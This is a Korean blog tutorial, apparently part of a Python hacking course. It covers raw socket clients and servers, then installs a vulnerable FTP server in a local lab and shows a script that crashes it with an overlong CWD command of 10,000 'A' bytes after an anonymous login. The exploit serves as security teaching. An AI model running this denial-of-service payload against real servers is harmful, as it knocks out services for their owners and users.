728x90
반응형
일차 디렉토리를 생성하고 코드를 작성해보자.
소켓 클라이언트를 구현하고 접속해보자.
01_socket_client.py
import socket
s = socket.socket() # 생략하면 TCP 통신
s.connect(("142.251.42.206", 80)) # nslookup google.com
s.send(b"GET / HTTP/1.1\\r\\nhost: google.com\\r\\n\\r\\n") # 네트워크 통신을 위해 바이트 코드로 구성
data = s.recv(1024)
print(data.decode())
s.close()
HTTP 상태 코드
https://ko.wikipedia.org/wiki/HTTP_상태_코드
소켓을 사용해 웹 서버를 작성해보자.
02_socket_server.py
import socket
s = socket.socket()
address = ("0.0.0.0", 8080)
# 0.0.0.0 모든 IP 요청을 받겠다는 의미
# 127.0.0.1로 입력하면 127.0.0.1로 접속한 요청만 받겠다는 의미
s.bind(address)
s.listen() # 서비스 시작
conn, addr = s.accept() # 외부에서 들어오는 connect를 수락
# conn은 클라이언트와 직접 소통하는 또다른 소켓
# addr은 클라이언트의 정보
conn.recv(1024) # GET 요청을 받고
data = b'''\\
HTTP/1.1 200 OK
Server: Python
Content-Type: text/html;
<html>
<h1>Hello HTTP</h1>
</html>
'''
conn.send(data) # 응답을 보낸다.
s.close()
서버를 실행하고 8080 포트로 파이어폭스를 사용해 접속한다.

OSI 7 레이어와 TCP 헤더 모양


취약한 FTP 서버 설치
https://www.exploit-db.com/exploits/38254
Vulnerable App을 다운로드 및 설치하고 프로그램을 실행해보자.


바탕화면에 FTP Utility 를 더블 클릭하고 방화벽을 허용한다.

ftp 명령을 사용해 접속해보자.
id: anonymous
pw: anonymous

C:\Users\%USERNAME%\Documents 경로에 test.txt 파일을 생성한다.

get 명령을 사용해 파일을 내려받고 메모장으로 열어보면 파일이 있는 것을 확인할 수 있다.

파이썬을 사용해 접속 코드를 구성해보자.
03_print_ftp_banner.py
import socket
s = socket.socket()
addr = ("127.0.0.1", 21)
s.connect(addr)
data = s.recv(1024)
print(data.decode()) # 배너 출력
s.close()
다음과 같이 FTP가 응답을 해준다.

04_login_ftp_by_anonymous.py
import socket
s = socket.socket()
addr = ("127.0.0.1", 21)
s.connect(addr)
data = s.recv(1024)
print("banner:", data.decode()) # 배너 출력
# 로그인
s.send(b"USER anonymous")
data = s.recv(1024)
print(data.decode())
s.send(b"PASS anonymous")
data = s.recv(1024)
print(data.decode()) # 로그인 성공!
s.close()
05_dos_attack.py
import socket
s = socket.socket()
addr = ("127.0.0.1", 21)
s.connect(addr)
data = s.recv(1024)
print("banner:", data.decode()) # 배너 출력
# 로그인
s.send(b"USER anonymous")
data = s.recv(1024)
print(data.decode())
s.send(b"PASS anonymous")
data = s.recv(1024)
print(data.decode()) # 로그인 성공!
s.send(b"CWD " + b"A" * 10000)
data = s.recv(1024)
print(data.decode()) # 응답이 올까?
s.close()
서비스가 터져버렸다!

정리하기
윈도우에서느 프로그램 추가를 검색하고 FTP 프로그램을 삭제한다.

프로그램 삭제

728x90
반응형
'Python' 카테고리의 다른 글
[Python] Python으로 간단하게 API 서버 만들기 (0) | 2023.04.27 |
---|---|
[Python] 패스워드 해킹 (4일차) (0) | 2022.09.16 |
[Python] HTTP 서버 공격과 백도어 개발 (3일차) (0) | 2022.09.13 |
[Python] 설치부터 기초 문법 (1일차) (2) | 2022.08.29 |
댓글